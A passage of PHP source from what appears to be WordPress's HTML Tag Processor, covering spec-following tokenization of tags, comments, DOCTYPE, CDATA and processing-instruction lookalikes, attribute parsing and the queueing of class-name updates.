			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
